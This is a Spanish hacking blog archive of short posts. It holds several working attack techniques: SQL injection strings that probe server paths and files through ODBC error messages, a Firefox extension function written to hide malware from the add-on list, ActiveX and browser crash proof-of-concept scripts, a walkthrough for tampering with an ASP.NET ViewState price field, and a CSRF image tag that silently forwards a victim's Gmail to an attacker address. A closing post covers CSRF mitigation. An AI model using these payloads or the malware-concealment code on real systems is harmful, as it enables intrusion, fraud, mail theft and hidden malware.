MSSQL, Verify Path Exists
En la entrada posterior a esta hablábamos de la forma de verificar archivos existentes en el servidor mediante consultas SQL y analizando las respuestas otorgadas por el gestor de base de datos. Ahora tenemos un caso muy parecido, analizaremos si tal Path existe en el servidor.
[Sql String - non-existant path]
test’ union select name from msysobjects in ‘\nopath\sqlerr[ODBC Response]
Microsoft OLE DB Provider for ODBC Drivers (0×80004005)
[Microsoft][ODBC Microsoft Access Driver] ‘C:\nopath\sqlerr’ is not a valid
path.
Make sure that the path name is spelled correctly and that you are
connected to the
server on which the file resides.[Sql String - existant path]
user = test’ union select name from msysobjects in ‘\inetpub\sqlerr[ODBC Response]
Microsoft OLE DB Provider for ODBC Drivers (0×80004005)
[Microsoft][ODBC Microsoft Access Driver] Could not find file
‘C:\inetpub\sqlerr’.
MSSQL, Verify File Exists
Nunca esta de más saber estas cosas que en algún momento pueden servir. Para buscar archivos en los directorios webs es fácil, porque Apache te responderá con un mensaje de verdadero o falso por a sí decirlo.
file: spanish-hackers.com/index-2.html
The requested document was not found on this server.
Si existe puede pasar tres cosas: primero que accedamos al archivo sin ningún problema, segundo que Apache nos responda que no tenemos permisos para acceder al archivo y tercero una página en blanco. Pero en estos tres casos nos confirmó la existencia del documento. Pero ahora que pasa si tenemos un SQL Injection a mano y queremos saber si ese servidor tiene tal archivo en tal directorio del sistema (no de los directorios webs).
[Sql String - non-existant file]
user = test’ union select name from msysobjects in ‘\proof[ODBC Response]
Microsoft OLE DB Provider for ODBC Drivers (0×80004005)
[Microsoft][ODBC Microsoft Access Driver] Could not find file ‘C:\proof’.[Sql String - existant]
user = test’ union select name from msysobjects in ‘\proof.txt[ODBC Response]
Microsoft OLE DB Provider for ODBC Drivers (0×80004005)
[Microsoft][ODBC Microsoft Access Driver] Unrecognized database format
‘C:\proof.txt’.
Hackmeeting 08 ¿Nos vemos allí?
Este año como se ha venido realizando en ocasiones anteriores se celebrara el tan conocido Hackmeeting esta vez en la provincia de Málaga más concretamente en el centro social la invisible. El 17,18,19 de octubre (fin de semana) así que teneis excusa. Si vas a estar por allí deja un comentario y nos tomamos algo mientras hablamos del último exploit para Apache 
.
Mozilla malware, Hide It
Existen diversas maneras de programar Malware para los navegadores, es cada vez una práctica más común entre la red, debido al gran éxito que logran este tipo de ataques. Hay pocos Malwares que se basen en vulnerabilidades de la propia versión del navegador, estos se suelen concentrar en plugins de instalación y en los mismos errores de estos plugins.
Firefox permite tener una muy buena interacción con sus extensiones. A si que la idea podría ser, ocultar Malware de los ojos de los usuarios. Este ejemplo de a continuación esconde Malware del add-on lista, que lo hace invisible para la numeración.
function stealth(ext) {
var a = Components.classes["@mozilla.org/rdf/rdf-service;1"].getService(Components.
interfaces.nsIRDFService);var b = Components.classes["@mozilla.org/rdf/container;1"].createInstance(Components.
interfaces.nsIRDFContainer);var c = Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.
interfaces.nsIExtensionManager).datasource;b.Init(c, a.GetResource(”urn:mozilla:item:root”));
var e = b.GetElements();
while (e.hasMoreElements()) {
var extention = e.getNext();
if (c.GetTarget(extention, a.GetResource(”http://www.mozilla.org/2004/em-rdf#name”), true).QueryInterface(Components.interfaces.nsIRDFLiteral).Value == ext) {
b.RemoveElement(extention, true);
}
}
}
stealth(”Extension Name”);
Cuando esta función se añade a una fuente de un paquete de instalación XPI, la ampliación ya no aparece en el add-on lista (plugin lista), por lo que tendremos escondido con éxito nuestro programa malicioso.
Grave vulnerabilidad en DNS
A estas alturas ya todos estareis más que enterados de la grave vulnerabilidad que esta afectando a la mayoria de los servidores DNS. Dan Kaminsky descubrio este fallo hace un tiempo ya y presentará más detalles el jueves en las conferencias de Blackhat (ya se conocen los detalles del bug ver *). Os escribo esta nota rapida para que comprobeis si vuestro ISP es vulnerable, a traves de la página de Kaminsky podemos comprobar si vuestras DNS son vulnerables o no. Algunos famosos ISP como Telefonica y Ono son aún vulnerables (¿muy lamentable?). Recomiendo el uso de servidores DNS de OpenDNS.
Servidores DNS seguros
208.67.222.222 / 208.67.220.220.
*UPDATE!: Información sobre el fallo
http://darkoz.com/?p=15
Exploits 0day´s coming s00n!
Análisis de un troyano
A traves del blog de Sergio Hernando me entero de quela gente de websense ha publicado un detallado informe sobre el metodo en el que trabaja un troyano dirigido al robo de credenciales bancarias (ya, no es que sea novedad) pero muestra desde el payload que usa para descargarse hasta el metodo de transmisión de las credenciales. Interesante sin duda.
MSIE 6, Hacks!
Los PoCs juegan con Active-X, son simples y sencillos como casi todos, a sí que creo que no hace falta que los explique. Están probados en MSIE 6.0.2900.2180 SP2. Y estamos a la espera de que sean probados en MSIE 7 y posteriores… Si saco un rato los pruebo yo mismo. De estos PoCs pueden surgir muchas variaciones, solo hay que darle cuerda al head, xD!.
Testeados en: MSIE 6.0.2900.2180 SP2
<script>
for(i=0;i<33;i++){
try{
foo = new ActiveXObject(”OutlookExpress.AddressBook”).concat(’3′+’3′+’3′);
}catch(e){}
}
</script>
<script>
for(i=0;i<33;i++){
try{
foo = new ActiveXObject(”OutlookExpress.AddressBook”).join(1,1,1);
}catch(e){}
}
</script>
Local Dos en Web Epiphany y Safari
Estaba testeando algunos objetos JavaScript en el navegador Web Epiphany, para encontrarle fallos a este famoso proyecto de GNOME. El navegador peta al pasarle la cadena document.location,y como parámetro un archivo no existente.
# Simple Local DoS of Web Epiphany
# Discovered by JosS for x-tech lab<script type=’text/javascript’>
document.location = ”;
</script>
A mi sorpresa cuando estaba revisando los errores del nuevo Safari vi que este también peta con el PoC que yo encontré para Web Epiphany.
Hidden Form Fields, ViewState
Aprovechando la reciente publicación de “Hidden Form Fields, pagamos menos” voy a publicar algo parecido pero usando el sistema ViewState que se encarga del parámetro value además de codificarlo. No voy a explicar paso a paso que es y como funciona ViewState, para eso dejo que Googleis un poco, sin embargo explicaré como atacarlo.
ViewState puede almacenar el precio del producto mediante esta solicitud:
string price = getPrice(prodno);
ViewState.Add(“price”, price);
Y ahora el usuario poseería un form como este:
<form method=post action=order.aspx>
<input type=hidden name=__VIEWSTATE id=__VIEWSTATE
value=/wEPDwUKMTIxNDIyOTM0Mg8WAh4FcHJpY2UFBzEyMjQuOTVkZA== />
<p>Product: Sony VAIO A217S</p>
<p>Quantity: <input name=quantity id=quantity />
<input type=submit name=”buy” value=Buy! />
</form>
Y cuando el usuario envíe el formulario, el navegador web enviará algo como esto:
POST /order.aspx HTTP/1.1
Host: ventasatodoprecio.com
Content-Length: 95
__VIEWSTATE=%2FwEPDwUKMTIxNDIyOTM0Mg8WAh4FcHJpY2UFBzEyMjQuOTVkZA%3D%3D&q
uantity=1&buy=Buy%21
ViewState usa una codificación Base64, por lo que si interceptamos este value y lo cambiamos por un número decimal, obtendremos un mensaje de error y la compra no se habrá efectuado.
Una vez interceptado el valor value y estamos listos para su modificación, debemos primero descodificar el valor por defecto: /wEPDwUKMTIxNDIyOTM0Mg8WAh4FcHJpY2UFBzEyMjQuOTVkZA==
FF 01 0F 0F 05 0D 0A 31 32 31 34 32 32 39 33 34 ; ÿ……121422934
32 0F 16 02 1E 05 70 72 69 63 65 05 07 31 32 32 ; 2…..price..122
34 2E 39 35 64 64 ; 4.95dd
Se ve claro: 1224.95dd … Podemos cambiar el precio en un Editor hexadecimal.
FF 01 0F 0F 05 0D 0A 31 32 31 34 32 32 39 33 34 ; ÿ……121422934
32 0F 16 02 1E 05 70 72 69 63 65 05 01 31 64 64 ; 2…..price..1dd
Ahora el mismo producto nos cuesta solo 1dd, 
.
POST /order.aspx HTTP/1.1
Host: ventasatodoprecio.com
Content-Length: 87
__VIEWSTATE=%2FwEPDwUKMTIxNDIyOTM0Mg8WAh4FcHJpY2UFATFkZA%3d%3d&quantity=
1&cmdBuy=Buy%21
Y como ya dije, con el Burp Proxy puede interceptar el valor value y cambiarlo para seguidamente el servidor procese tu formulario.
Aunque en muchos servidores, digamos el 85% poseen en sus configuraciones, esto:
EnableViewStateMac=”true”
El cual se encarga de crear el hash a partir de una contraseña secreta disponible en el servidor, sin acceso al usuario. Por lo que no podremos rellenar correctamente el valor value.
FF 01 0F 0F 05 0A 31 32 31 34 32 32 39 33 34 32 ; ÿ…..1214229342
0F 16 02 1E 05 70 72 69 63 65 05 07 31 32 32 34 ; …..price..1224
2E 39 35 64 64 C4 75 60 70 9F 10 8B 61 04 15 27 ; .95ddÄu`pŸ.‹a..’
A1 06 1E F0 35 16 F0 46 A8 ; ¡..ð5.ðF¨
Pero no nos preocupamos porque Burp Proxy aveces hace magia y nos permite jugar con EnableViewStateMac.
Protección contra CSRF
Los ataques Cross site request forgery (CSRF) se basan peticiones no-deseadas que un atacante puede hacer que realice un usuario confiado sin que este ni si quiera se de cuenta. Es decir, si estas visitando X página y tienes una sesión abierta con tu usuario, mediante una petición (normalmente realizada por GET) el atacante podría cambiar el correo de tu perfil por el suyo para cambiar tu password. He de decir que no es un ataque nuevo (creo que data de 2001) pero he de decir que muchos desarrolladores desconocen.
Un ejemplo claro es el de GMAIL, en este caso el atacante a través de una imagen introducían una petición para añadir una cuenta secundaria de correo (si típica para descargar el correo por POP a otra dirección) la cual era del atacante, este podía descargar y leer todo el tráfico de mail de la víctima.
<<img src=”https:3A//mail.google.com/mail/h/ewt1jmuj4ddv/3Fv/3Dprf&cf2_
emc=true&cf2_email=correoo@ladron.com&cf1_from&cf1_to&cf1_subj&cf1_has&cf1_
hasnot&cf1_attach=true&tfi&s=z&irf=on&nvp_bu_cftb=Create%20Filter”>
Con este simple código se podía realizar el ataque. Voy a hablar de un par de técnicas para mitigar este tipo de ataques y aclarar algunos falsos mitos relacionados.
El uso de TOKENS de sesión para cada usuario es la medida mas recomendable para prevenir ataques CSRF, se basa en asignar un TOKEN a la sesión de un usuario en cada petición. El token podría considerarse un texto alfanumérico (o no). Por ejemplo hace unos post más abajo JosS uso este código:
<img src=”http://spanish-hackers.com/blog/wp-login.php?action=logout”>
Esto nos haría darnos logout si estuviéramos autentificados en este blog, esto lo podría saber un atacante y mandarnos una página con una imagen con esta petición, pero si usaríamos tokens asociados a cada petición el atacante no podría saber la dirección exacta:
<img src=”http://spanish-hackers.com/blog/wp-login.php?action=logout”=Token=53DTE24EEWS4>
Algunos falsos mitos sobre ataques son por ejemplo que usando POST estamos protegidos frente a este tipo de ataques bien, TOTALMENTE FALSO. Otra practica muy extendida es comprobar el referer (HTTP_REFERER) medida totalmente inútil ya que como sabemos, modificar el referer hoy en día es prácticamente un juego de niños.